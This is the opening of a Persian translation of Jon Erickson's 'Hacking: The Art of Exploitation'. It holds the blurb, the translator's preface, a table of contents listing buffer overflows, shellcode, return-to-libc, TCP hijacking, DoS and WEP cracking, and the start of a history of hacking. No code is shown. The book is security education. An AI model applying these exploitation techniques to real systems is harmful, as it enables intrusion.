Art of Exploitation Persian
Art of Exploitation Persian
اﯾﻦ ﮐﺘﺎب ﺗﺌﻮری و روح ﻫﮑﯿﻨﮓ و ﻋﻠﻢ ﻧﻬﺎن در ورای آﻧﺮا ﺑﻪ ﺗﺼﻮﯾﺮ ﻣﯽ ﮐﺸﺪ .ﺑﻌﻀﯽ از ﺗﮑﻨﯿﮏ ﻫﺎ و ﺣﻘـﻪ ﻫـﺎی اﺻـﻠﯽ
در ﻫﮑﯿﻨﮓ ﻧﯿﺰ اراﺋﻪ ﻣﯽ ﮔﺮدﻧﺪ ،ﻟﺬا ﺷﻤﺎ ﻗﺎدرﯾﺪ ﮐﻪ ﭼﻮن ﯾﮏ ﻫﮑﺮ ﻓﮑـﺮ ﮐﻨﯿـﺪ ،روش ﻫـﺎی ﻫﮑﯿﻨـﮓ ﺧـﻮد را در ﭘـﯿﺶ
ﮔﯿﺮﯾﺪ ،از ﮐﺪﻫﺎی ﺧﻮد اﺳﺘﻔﺎده ﮐﻨﯿﺪ و . ...
ﻫﮑﯿﻨﮓ ﻫﻨﺮِ ﺣﻞ ﻣﺴﺌﻠﻪ اﺳﺖ ،ﭼﻪ ﺑﺮای ﭘﯿﺪا ﮐﺮدن ﯾﮏ راه ﺣﻞ ﻏﯿﺮﻣﻌﻤﻮﻟﯽ ﺑﺮای ﯾﮏ ﻣﺴﺌﻠﻪ ﺳﺨﺖ ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار
ﮔﯿﺮد ،ﭼﻪ ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺣﻔﺮه ﻫﺎی ﻣﻮﺟﻮد در ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻫﺎی ﺿﻌﯿﻒ .ﺑﺴﯿﺎری از اﻓﺮاد ﺧﻮد را ﯾـﮏ ﻫﮑـﺮ
ﻣﯽ ﭘﻨﺪارﻧﺪ ،اﻣﺎ ﻋﻤﻼ ﺗﻌﺪاد ﻣﻌﺪودی از آﻧﻬﺎ اﺻﻮل اﺳﺎﺳﯽ و ﻓﻨﯽ ﻻزم ﺑﺮای ﻣﻮﻓﻘﯿـﺖ ﯾـﮏ ﻫﮑـﺮ را دارا ﻫـﺴﺘﻨﺪ .ﮐﺘـﺎب
"ﻫﻨﺮ اﮐﺴﭙﻠﻮﯾﺖ ﻧﻮﯾﺴﯽ" ﻣﻔﺎدی را ﮐﻪ ﻫﺮ ﻫﮑﺮ واﻗﻌﯽ )ﺑﺎ ﻫﺮ رﻧﮓ ﮐﻼه( ﺑﺎﯾﺪ ﺑﺪاﻧﺪ ﺑﯿﺎن ﻣﯽ دارد.
ﺑﺴﯿﺎری از ﮐﺘﺎب ﻫﺎی ﺑﻪ ﻇﺎﻫﺮ ﻫﮑﯿﻨﮓ ﺑﻪ ﺷﻤﺎ ﭼﮕﻮﻧﮕﯽ اﺟﺮای اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی دﯾﮕﺮان را ﺑﺪون ﺗﻮﺿـﯿﺤﺎت واﻗﻌـﯽ از
ﺟﺰﺋﯿﺎت ﻓﻨﯽ آن ﻧﺸﺎن ﻣﯽ دﻫﻨﺪ ،اﻣﺎ ﮐﺘﺎب ﺣﺎﺿﺮ ﺗﺌﻮری و ﻋﻠﻢ ﻧﻬﺎن در ﻫﮑﯿﻨﮓ را ﺗﻮﺿﯿﺢ ﻣﯽ دﻫﺪ .ﺑﺎ ﻓﺮاﮔﯿﺮی ﺑﺮﺧـﯽ
از ﺗﮑﻨﯿﮏ ﻫﺎی اﺳﺎﺳﯽ ﻫﮑﯿﻨﮓ ،ﻃﺮز ﻓﮑﺮ ﯾﮏ ﻫﮑـﺮ واﻗﻌـﯽ را ﺧﻮاﻫﯿـﺪ آﻣﻮﺧـﺖ .ﻟـﺬا ﻣـﯽ ﺗﻮاﻧﯿـﺪ ﮐـﺪﻫﺎی ﺧﻮدﺗـﺎن را
ﺑﻨﻮﯾﺴﯿﺪ و ﺗﮑﻨﯿﮏ ﻫﺎی ﺟﺪﯾﺪی اﺑﺪاع ﯾﺎ ﺣﻤﻼت ﻣﻬﻠﮑﯽ را ﻋﻠﯿﻪ ﺳﯿﺴﺘﻢ ﺧﻮد ﺧﻨﺜﯽ ﮐﻨﯿﺪ .در اﺻﻮل اﮐـﺴﭙﻠﻮﯾﺖ ﻧﻮﯾـﺴﯽ
ﻣﻮارد زﯾﺮ را ﺧﻮاﻫﯿﺪ آﻣﻮﺧﺖ:
اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺳﯿﺴﺘﻢ ﻫﺎ ﺑﺎ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی ﺳﺮرﯾﺰ ﺑﺎﻓﺮ و رﺷﺘﻪ-ﻓﺮﻣﺖ •
ﻧﻮﺷﺘﻦ ﺷﻠﮑﺪﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ و دﮔﺮﺷﮑﻞ •
ﭼﯿﺮه ﺷﺪن ﺑﺮ ﭘﺸﺘﻪ ﻫﺎی ﻏﯿﺮﻗﺎﺑﻞ اﺟﺮا 1ﺑﺎ روش ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ C •
ﻫﺪاﯾﺖ ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ ،ﭘﻨﻬﺎن ﮐﺮدن ﭘﻮرت ﻫﺎی ﺑﺎز و رﺑﻮدن ارﺗﺒﺎﻃﺎتِ TCP •
ﮐﺮک ﮐﺮدن ﺗﺮاﻓﯿﮏ ﺑﯽ ﺳﯿﻢ و رﻣﺰﺷﺪه 802.11bﺑﺎ ﺣﻤﻼت FMS •
اﮔﺮ ﺷﻤﺎ ﻣﺒﺎﺣﺚ ﻫﮑﯿﻨﮓ را ﺑﻄﻮر ﺟﺪی دﻧﺒﺎل ﻣﯽ ﮐﻨﯿﺪ ،اﯾـﻦ ﮐﺘـﺎب ﺑـﺮای ﺷﻤﺎﺳـﺖ و ﻣﻬـﻢ ﻧﯿـﺴﺖ ﮐـﺪام ﻃـﺮف دﯾـﻮار
اﯾﺴﺘﺎده اﯾﺪ!
اﯾﻦ ﮐﺘﺎب ﺗﮑﻨﯿﮏ ﻫﺎی ﻏﻨﯽ ﮔﻮﻧﺎﮔﻮﻧﯽ را ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﺪ .اﮔﺮﭼﻪ ﻣﻔﺎﻫﯿﻢ ﺑﻨﯿﺎدی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﮐـﻪ اﯾـﻦ ﺗﮑﻨﯿـﮏ ﻫـﺎ از
آﻧﻬﺎ اﻗﺘﺒﺎس ﺷﺪه اﻧﺪ در ﮐﺘﺎب ﻣﻌﺮﻓﯽ ﮔﺸﺘﻪ اﺳﺖ ،اﻣﺎ آﮔﺎﻫﯽ ﮐﻠﯽ از ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻄﻤﺌﻨﺎ ﺧﻮاﻧﻨﺪه را در درک ﻫﺮ ﭼـﻪ
ﺑﻬﺘﺮ اﯾﻦ ﻣﻔﺎﻫﯿﻢ ﯾﺎری ﺧﻮاﻫﺪ ﮐﺮد .ﮐﺪﻫﺎی ﻣﺜﺎل در اﯾـﻦ ﮐﺘـﺎب ﺑـﺮ روی ﯾـﮏ ﮐـﺎﻣﭙﯿﻮﺗﺮ ﺑـﺎ ﭘﺮدازﻧـﺪه ﻣﻌﻤـﺎری x86و
ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﻟﯿﻨﻮﮐﺲ اﺟﺮا ﺷﺪه اﻧﺪ .داﺷﺘﻦ ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ﻣﺸﺎﺑﻪ وﺿﻌﯿﺖ ﯾﺎد ﺷﺪه ﺑﻪ ﺷﻤﺎ ﮐﻤﮏ ﺧﻮاﻫﺪ ﮐﺮد ﺗـﺎ ﻧﺘـﺎﯾﺞ
را ﺧﻮدﺗﺎن ﻣﺸﺎﻫﺪه ﮐﻨﯿﺪ و اﺣﯿﺎﻧﺎ ﭼﯿﺰﻫﺎی ﺟﺪﯾﺪی را اﻣﺘﺤﺎن و ﺗﺠﺮﺑﻪ ﮐﻨﯿﺪ.
ﺗﻮزﯾـــﻊ ﺟﻨﺘـــﻮ ) (Gentooﻟﯿﻨـــﻮﮐﺲ ﮐـــﻪ در اﯾـــﻦ ﮐﺘـــﺎب ﻣـــﻮرد اﺳـــﺘﻔﺎده ﻗـــﺮار ﮔﺮﻓﺘـــﻪ اﺳـــﺖ از ﻃﺮﯾـــﻖ آدرس
http://www.gentoo.orgﻗﺎﺑﻞ درﯾﺎﻓﺖ ﻣﯽ ﺑﺎﺷﺪ.
1
Non-executable
ﺳﺨﻦ ﻣﺘﺮﺟﻢ
ﮐﺘـﺎب ﭘـﯿﺶ روی ،ﺗﺮﺟﻤـﻪ ای آزاد و روان از ﻧـﺴﺨﻪ اول ﮐﺘـﺎب Hacking: The Art of Exploitationﺑـﺮ ﺳـﺎل
،2003ﻧﻮﺷﺘﻪ Jon Ericksonاﺳﺖ ﮐﻪ ﺗﺮﺟﻤﻪ آزاد آن در ﻣـﺎه دﺳـﺎﻣﺒﺮ ﻫﻤـﺎن ﺳـﺎل ﭘﺎﯾـﺎن ﯾﺎﻓـﺖ .در ﻃـﯽ 5ﺳـﺎل
ﮔﺬﺷﺘﻪ و ﺑﺎ ﻋﻨﺎﯾﺖ ﺑﻪ زﻣﺎن آزادی ﮐﻪ در آن دوره داﺷﺘﯿﻢ ،ﻗﺼﺪ ﺑﻪ ﭼـﺎپ رﺳـﺎﻧﯿﺪن اﯾـﻦ اﺛـﺮ ﮐـﺮدﯾﻢ ﮐـﻪ ﺑـﺎ ﻧﻬﺎدﻫـﺎ و
دوﺳﺘﺎن ﺑﺴﯿﺎری ﻣﺸﻮرت ﺷﺪ ،اﻣﺎ ﻧﻬﺎﯾﺘﺎ ﺑﻨﺎ ﺑﻪ اﯾﺮادات ﻧﺎﻣﻨﺎﺳﺒﯽ از ﺟﺎﻧـﺐ وزارت ارﺷـﺎد ،ﻣﻮﻓـﻖ ﺑـﻪ ﻧﯿـﻞ ﺑـﻪ اﯾـﻦ ﻣﻬـﻢ
ﻧﮕﺸﺘﯿﻢ.
ﻫﻤﻮاره ﺑﻪ ﺟﺮﯾﺎن آزاد اﻃﻼﻋﺎت ﻣﻌﺘﻘﺪ ﺑﻮده ام ،ﻟﺬا در ﺗﺼﻤﯿﻤﯽ ﺟﺪﯾﺪ ﮐﺘﺎب ﺣﺎﺿﺮ را ﺑﻪ ﺻﻮرت راﯾﮕـﺎن و ﺑـﺎ ﻟﯿـﺴﺎﻧﺲ
GNU GPLv3ﺑﻪ ﺧﻮاﻧﻨﺪﮔﺎن ﻣﺤﺘﺮم ﻫﺪﯾﻪ ﻣﯽ دارم و اﻣﯿﺪوارم دﯾﺮﮐﺮد اﻧﺘﺸﺎر را دال ﺑـﺮ اﺻـﻮل ﻓﺮوﺷـﯽ ﯾـﺎ اﺻـﻞ-
ﻓﺮوﺷﯽ ﻧﮕﺬارﯾﺪ .اﻣﯿﺪ دارم ﺗﺎ در ﻓﺮﺻﺖ ﻫﺎی ﻣﻨﺎﺳﺐ اﻣﮑﺎن اﻟﺤﺎق اﺿﺎﻓﺎت ) ،(additionsﺑﻪ روز رﺳـﺎﻧﯽ ﻫـﺎی ﮔـﺎه و
ﺑﯽ ﮔﺎه و ﺗﺼﺤﯿﺢ اﺷﺘﺒﺎﻫﺎت اﺣﺘﻤﺎﻟﯽ ﻣﻄﺎﻟﺐ اﯾﻦ ﮐﺘﺎب را داﺷﺘﻪ ﺑﺎﺷﻢ .ﺿﻤﻨﺎ اﺳﺘﻔﺎده ﻧﺎدرﺳﺖ از ﻣﻄﺎﻟﺐ اﯾـﻦ ﮐﺘـﺎب ﺑـﺮ
ﻋﻬﺪه ﺧﻮاﻧﻨﺪه ﻣﯽ ﺑﺎﺷﺪ.
ﺳﻌﯿﺪ ﺑﯿﮑﯽ
3ﻣﻬﺮ 1387
2
ﻓﻬﺮﺳﺖ ﻣﻮﺿﻮﻋﺎت
ﺻﻔﺤﻪ ﻣﻮﺿﻮع ردﯾﻒ
5 ﻓﺼﻞ :1ﻣﻘﺪﻣﻪ 1
9 ﻓﺼﻞ :2ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ 2
10 ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﭼﯿﺴﺖ؟ 2-1
13 اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ 2-2
16 ﺗﮑﻨﯿﮏ ﻫﺎی ﮐﻠﯽ اﮐﺴﭙﻠﻮﯾﺖ 2-3
17 ﻣﺠﻮزﻫﺎی ﭼﻨﺪ-ﮐﺎرﺑﺮه ﻓﺎﯾﻞ 2-4
18 ﺣﺎﻓﻈﻪ 2-5
19 اﻋﻼن ﺣﺎﻓﻈﻪ 2-5-1
19 ﺧﺎﺗﻤﻪ دادن ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ 2-5-2
20 ﻗﻄﻌﻪ ﺑﻨﺪی ﺣﺎﻓﻈﻪ ﺑﺮﻧﺎﻣﻪ 2-5-3
24 ﺳﺮرﯾﺰﻫﺎی ﺑﺎﻓﺮ 2-6
25 ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ 2-7
29 اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺪون ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ 2-7-1
31 اﺳﺘﻔﺎده از ﻣﺤﯿﻂ 2-7-2
39 ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ Heapو BSS 2-8
39 ﯾﮏ ﻧﻤﻮﻧﻪ ﭘﺎﯾﻪ از ﺳﺮرﯾﺰ ﻣﺒﺘﻨﯽ ﺑﺮ heap 2-8-1
43 ﺟﺎﯾﻨﻮﯾﺴﯽ اﺷﺎرﮔﺮﻫﺎی ﺗﺎﺑﻊ 2-8-2
48 رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ 2-9
48 رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ و ﺗﺎﺑﻊ )(printf 2-9-1
53 آﺳﯿﺐ ﭘﺬﯾﺮی رﺷﺘﻪ ﻓﺮﻣﺖ 2-9-2
54 ﺧﻮاﻧﺪن آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ 2-9-3
55 ﻧﻮﺷﺘﻦ در آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ 2-9-4
62 دﺳﺘﺮﺳﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ 2-9-5
64 ﺳﻮ اﺳﺘﻔﺎده از ﺑﺨﺶ DTors 2-9-6
69 ﺟﺎﯾﻨﻮﯾﺴﯽ ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ )(GOT 2-9-7
71 ﺷﻞ-ﮐﺪ ﻧﻮﯾﺴﯽ 2-10
72 دﺳﺘﻮرات ﻣﻌﻤﻮل در اﺳﻤﺒﻠﯽ 2-10-1
73 ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺳﯿﺴﺘﻤﯽ در ﻟﯿﻨﻮﮐﺲ 2-10-2
74 ﺑﺮﻧﺎﻣﻪ !Hello, World 2-10-3
76 ﮐﺪ ﻣﻮﻟﺪ ﭘﻮﺳﺘﻪ 2-10-4
78 اﺟﺘﻨﺎب از اﺳﺘﻔﺎده از دﯾﮕﺮ ﻗﻄﻌﻪ ﻫﺎ )(segment 2-10-5
80 ﺣﺬف ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ 2-10-6
83 ﺷﻞ-ﮐﺪ ﮐﻮﭼﮑﺘﺮ و اﺳﺘﻔﺎده از ﭘﺸﺘﻪ 2-10-7
85 دﺳﺘﻮرات اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ 2-10-8
86 ﺷﻞ-ﮐﺪﻫﺎی دﮔﺮﺷﮑﻞ 2-10-9
86 ﺷﻞ-ﮐﺪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ و دﮔﺮﺷﮑﻞ 2-10-10
97 اﺑﺰار Dissembler 2-10—11
106 ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ C 2-11
106 ﺑﺎزﮔﺸﺖ ﺑﻪ ﺗﺎﺑﻊ )(system 2-11-1
108 زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ C 2-11-2
109 اﺳﺘﻔﺎده از ﭘﻮﺷﺶ دﻫﻨﺪه 2-11-3
110 ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ از ﻃﺮﯾﻖ ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ C 2-11-4
112 ﻧﻮﺷﺘﻦ ﭼﻨﺪ ﮐﻠﻤﻪ ﺑﺎ ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ 2-11-5
115 ﻓﺼﻞ :3ﺷﺒﮑﻪ 3
115 ﺷﺒﮑﻪ ﺑﻨﺪی ﭼﯿﺴﺖ؟ 3-1
115 ﻣﺪل OSI 3-1-1
117 ﺟﺰﺋﯿﺎت ﻻﯾﻪ ﻫﺎی ﻣﻬﻢ 3-2
117 ﻻﯾﻪ ﺷﺒﮑﻪ )(Network 3-2-1
119 ﻻﯾﻪ اﻧﺘﻘﺎل )(Transport 3-2-2
121 ﻻﯾﻪ اﺗﺼﺎل-داده )(Data-Link 3-2-3
122 اﺳﺘﺮاق در ﺷﺒﮑﻪ 3-3
124 اﺳﺘﺮاق ﻓﻌﺎل 3-3-1
3
130 ﻋﻤﻠﯿﺎت TCP/IP Hijacking 3-4
131 ﻋﻤﻠﯿﺎت RST Hijacking 3-4-1
134 ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ )(Denial of Service 3-5
134 ﺣﻤﻼت Ping Of Death 3-5-1
134 ﺣﻤﻼت TearDrop 3-5-2
135 ﺣﻤﻼت Ping Flooding 3-5-3
135 ﺣﻤﻼت ﺗﺸﺪﯾﺪی 3-5-4
136 ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ ﺗﻮزﯾﻊ ﯾﺎﻓﺘﻪ )(DDoS 3-5-5
136 ﺣﻤﻼت SYN Flooding 3-5-6
136 ﭘﻮﯾﺶ ﭘﻮرت 3-6
137 ﭘﻮﯾﺶ Stealth SYN 3-6-1
137 ﭘﻮﯾﺶ ﻫﺎی X-mas ،FINو Null 3-6-2
137 ﺟﻌﻞ ﻃﻌﻤﻪ ﻫﺎ 3-6-3
137 ﭘﻮﯾﺶ ﺑﯿﮑﺎر 3-6-4
139 دﻓﺎع ﻓﺮا ﻋﻤﻠﯿﺎﺗﯽ ) (Proactiveﯾﺎ ﭘﻮﺷﺸﯽ )(Shroud 3-6-5
146 ﻓﺼﻞ :4رﻣﺰﺷﻨﺎﺳﯽ 4
147 ﺗﺌﻮری اﻃﻼﻋﺎت 4-1
147 اﻣﻨﯿﺖ ﻣﻄﻠﻖ )(Unconditional 4-1-1
147 ﭘﺮﮐﻨﻨﺪه ﻫﺎی ﯾﮏ ﺑﺎر ﻣﺼﺮف 4-1-2
148 ﺗﻮزﯾﻊ ﮐﻮاﻧﺘﻮﻣﯽ ﮐﻠﯿﺪ 4-1-3
149 اﻣﻨﯿﺖ ﻣﺤﺎﺳﺒﺎﺗﯽ 4-1-4
149 زﻣﺎن اﺟﺮای اﻟﮕﻮرﯾﺘﻤﯽ 4-2
150 ﻧﺸﺎﻧﻪ ﮔﺬاری ﻣﺠﺎﻧﺐ 4-2-1
151 رﻣﺰﮔﺬاری ﻣﺘﻘﺎرن )(Symmetric 4-3
152 اﻟﮕﻮرﯾﺘﻢ ﺟﺴﺘﺠﻮی ﮐﻮاﻧﺘﻮﻣﯽ از ﻟﻮو ﮔﺮاور 4-3-1
153 رﻣﺰﮔﺬاری ﻧﺎﻣﺘﻘﺎرن )(Asymmetric 4-4
153 ﻃﺮح RSA 4-4-1
156 اﻟﮕﻮرﯾﺘﻢ ﻓﺎﮐﺘﻮرﮔﯿﺮی ﮐﻮاﻧﺘﻮﻣﯽ از ﭘﯿﺘﺮ ﺷﻮر 4-4-2
157 رﻣﺰﻫﺎی ﭘﯿﻮﻧﺪی ﯾﺎ ﺗﺮﮐﯿﺒﯽ )(Hybrid 4-5
158 ﺣﻤﻼت Man in the Middle 4-5-1
160 ﺗﻤﺎﯾﺰ دادن اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن در ﭘﺮوﺗﮑﻞ SSH 4-5-2
162 اﺛﺮات اﻧﮕﺸﺖ ﻓﺎزی )(Fuzzy 4-5-3
167 ﮐﺮک ﮐﺮدن ﭘﺴﻮردﻫﺎ 4-6
168 ﺣﻤﻼت ﻣﺒﺘﻨﯽ ﺑﺮ ﻟﻐﺖ ﻧﺎﻣﻪ )(Dictionary 4-6-1
169 ﺣﻤﻼت ﺟﺎﻣﻊ Brute-Force 4-6-2
170 ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ )(HLT 4-6-3
171 ﻣﺎﺗﺮﯾﺲ اﺣﺘﻤﺎل ﭘﺴﻮرد 4-6-4
179 رﻣﺰﮔﺬاری ﻣﺪل ﺑﯽ ﺳﯿﻢ 802.11b 4-7
180 ﻣﺤﺮﻣﺎﻧﮕﯽ ﺳﯿﻤﯽ ﻣﻌﺎدل )(WEP 4-7-1
181 رﻣﺰ ﺟﺮﯾﺎﻧﯽ RC4 4-7-2
182 ﺣﻤﻠﻪ ﺑﻪ WEP 4-8
182 ﺣﻤﻼت Brute-forceﺑﻪ ﺻﻮرت آﻓﻼﯾﻦ 4-8-1
183 اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ 4-8-2
184 ﺟﺪول ﻫﺎی ﻟﻐﺖ ﻧﺎﻣﻪ ای رﻣﺰﮔﺸﺎﯾﯽ ﺑﺮ ﻣﺒﻨﺎی ﺑﺮدار اوﻟﯿﻪ )(IV 4-8-3
184 ﺣﻤﻠﻪ ) IP Redirectionﻫﺪاﯾﺖ (IP 4-8-4
185 ﺣﻤﻠﻪ ﻓﻼرر ،ﻣﺎﻧﺘﯿﻦ و ﺷﻤﯿﺮ )(FMS 4-8-5
193 ﻓﺼﻞ :5اﺳﺘﻨﺘﺎج 5
194 ارﺟﺎﻋﺎت
195 اﺑﺰار ﻣﻮرد اﺳﺘﻔﺎده در ﮐﺘﺎب
4
ﻓﺼﻞ :1ﻣﻘﺪﻣﻪ
ﻣﻔﻬﻮم ﻫﮑﯿﻨﮓ ﻣﻤﮑﻦ اﺳﺖ در ذﻫﻦ ﺗﺼﺎوﯾﺮی از ﺧﺮاﺑﮑﺎری اﻟﮑﺘﺮوﻧﯿﮑﯽ ،ﺟﺎﺳﻮﺳﯽ و ﻣﻮاردی از اﯾﻦ دﺳﺖ ﺗﺪاﻋﯽ ﮐﻨﺪ.
ﺑﺴﯿﺎری از اﻓﺮاد ﻫﮏ ﮐﺮدن را ﺑﺎ ﺷﮑﺴﺘﻦ ﻗﺎﻧﻮن در ارﺗﺒﺎط ﻧﺰدﯾﮏ ﻣﯽ داﻧﻨﺪ .ﺑﻨﺎﺑﺮاﯾﻦ در اﯾﻦ راﺳﺘﺎ ،ﺗﻤﺎم اﻓﺮادی را ﮐﻪ
ﺑﻪ ﻓﻌﺎﻟﯿﺖ ﻫﺎی ﻫﮑﯿﻨﮓ ﻣﺠﺬوب ﮔﺸﺘﻪ اﻧﺪ ،ﻣﺴﺎوی ﺑﺎ ﺑﺰﻫﮑﺎران و ﻣﺠﺮﻣﺎن )اﻟﮑﺘﺮوﻧﯿﮑﯽ( ﻣﯽ داﻧﻨﺪ .اﮔﺮﭼـﻪ اﻓـﺮادی از
ﺗﮑﻨﯿﮏ ﻫﺎی ﻫﮑﯿﻨﮓ ﺑﺮای ﻗﺎﻧﻮن ﺷﮑﻨﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ،اﻣﺎ ﻣﺎﻫﯿﺖ اﯾﻦ ﻋﻠﻢ در اﺻﻞ اﯾﻨﮕﻮﻧﻪ ﻧﯿﺴﺖ.
ﻣﺎﻫﯿﺖ و ذات ﻫﮑﯿﻨﮓ ،ﭘﯿﺪا ﮐﺮدن ﮐﺎرﺑﺮدﻫﺎی ﻏﯿﺮﻣﻌﻤﻮل و دور از اﻧﺘﻈـﺎر ﺑـﺮای ﻗـﻮاﻧﯿﻦ و ﺧـﺼﻮﺻﯿﺎتِ ﯾـﮏ وﺿـﻌﯿﺖ
ﻣﺸﺨﺺ و ﺳﭙﺲ اﻋﻤﺎل آﻧﻬﺎ در ﻗﺎﻟﺐ روش ﻫﺎی ﺟﺪﯾﺪ ﺟﻬـﺖ ﺣـﻞ آن ﻣـﺴﺌﻠﻪ اﺳـﺖ .ﯾـﮏ ﻣـﺴﺌﻠﻪ ﻣﻤﮑـﻦ اﺳـﺖ ﻋـﺪم
دﺳﺘﯿﺎﺑﯽ ﺑﻪ ﯾﮏ ﺳﯿﺴﺘﻢ ﮐﺎﻣﭙﯿﻮﺗﺮی ﺑﺎﺷﺪ ﯾﺎ ﭘﯿﺪا ﮐﺮدن روﺷﯽ ﮐﻪ ﺑﺘـﻮان ﺑـﺎ اﺳـﺘﻔﺎده از ﺗﺠﻬﯿـﺰات ﺗﻠﻔﻨـﯽ ﻗـﺪﯾﻤﯽ ،ﯾـﮏ
ﺳﯿﺴﺘﻢ ﻣﺪل Rail Roadرا ﮐﻨﺘﺮل ﮐﺮد .ﻣﻌﻤﻮﻻ ﻫﮑﯿﻨﮓ راه ﺣﻞ ﭼﻨﯿﻦ ﻣﺴﺎﺋﻠﯽ را ﺑﻪ ﻃﺮﯾﻖ ﻣﻨﺤﺼﺮ ﺑﻔﺮدی اراﺋﻪ ﻣﯿﮑﻨﺪ
ﮐﻪ ﺑﺎ روش ﻫﺎی ﻣﺘﻌﺎرف و ﺳﻨﺘﯽ ﺑﺴﯿﺎر ﺗﻔﺎوت دارد.
در اواﺧﺮ دﻫﻪ 1950ﻣﯿﻼدی ،ﺑﻪ ﺑﺎﺷـﮕﺎهِ MIT Model Railroadﻫﺪﯾـﻪ ای داده ﺷـﺪ ﮐـﻪ ﻗـﺴﻤﺖ ﻋﻤـﺪه آن ،اﺑـﺰار
ﻗﺪﯾﻤﯽ ﺗﻠﻔﻦ ﺑﻮد .اﻋﻀﺎی اﯾﻦ ﺑﺎﺷﮕﺎه از ﺗﺠﻬﯿﺰات ﻓﻮق ﺟﻬﺖ ﻓﺮﯾﺐ دادن ﯾﮏ ﺳﯿﺴﺘﻢ ﭘﯿﭽﯿﺪه اﺳـﺘﻔﺎده ﮐﺮدﻧـﺪ ﮐـﻪ ﺑـﻪ
ﭼﻨﺪﯾﻦ ﻣﺘﺼﺪی ) (operatorاﺟﺎزه ﮐﻨﺘﺮل ﻗﺴﻤﺖ ﻫﺎی ﻣﺨﺘﻠﻒ ﺧﻂ را ﺑﺎ ﺷﻤﺎره ﮔﯿﺮی ﺑﻪ ﻗﺴﻤﺖ ﻣﻨﺎﺳﺐ ﻣـﯽ داد .آﻧﻬـﺎ
اﯾﻦ اﺳﺘﻔﺎده ﻣﺒﺘﮑﺮاﻧﻪ و ﺟﺪﯾﺪ از ﺗﺠﻬﯿﺰات را ﻫﮑﯿﻨﮓ ) (Hackingﻧﺎﻣﯿﺪﻧـﺪ و ﺑـﺴﯿﺎری اﯾـﻦ ﮔـﺮوه را ﻫﮑﺮﻫـﺎی اوﻟﯿـﻪ
ﻗﻠﻤﺪاد ﻣﯽ ﮐﺮدﻧﺪ .آﻧﻬﺎ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ روی ﭘﺎﻧﭻ ﮐﺎرﺗﻬﺎ و ﻧﻮارﻫﺎی ﺗﻠﮕﺮاﻓـﯽ ) (ticker tapeدر ﮐﺎﻣﭙﯿﻮﺗﺮﻫـﺎی اوﻟﯿـﻪ
ﻣﺎﻧﻨﺪ IBM 704و T.X-0روی آوردﻧﺪ؛ در ﺣﺎﻟﯿﮑﻪ دﯾﮕﺮان ﺗﻨﻬﺎ ﺑﻪ ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﻣﯽ ﭘﺮداﺧﺘﻨﺪ ﮐﻪ ﺻﺮﻓﺎ ﺑﺘﻮاﻧـﺪ
ﻣﺸﮑﻼت را ﺣﻞ ﮐﻨﺪ .اﻣﺎ ﺑﺮای اﯾﻨﮑﻪ ﻫﮑﺮﻫﺎی اوﻟﯿﻪ ﺑﺘﻮاﻧﻨﺪ ﺑﺮﻧﺎﻣﻪ ﻫﺎ را ﺑﺨﻮﺑﯽ ﺑﻨﻮﯾـﺴﻨﺪ ،ﺧـﻮد را درﮔﯿـﺮ ﭼـﺎﻟﺶ ﻫـﺎی
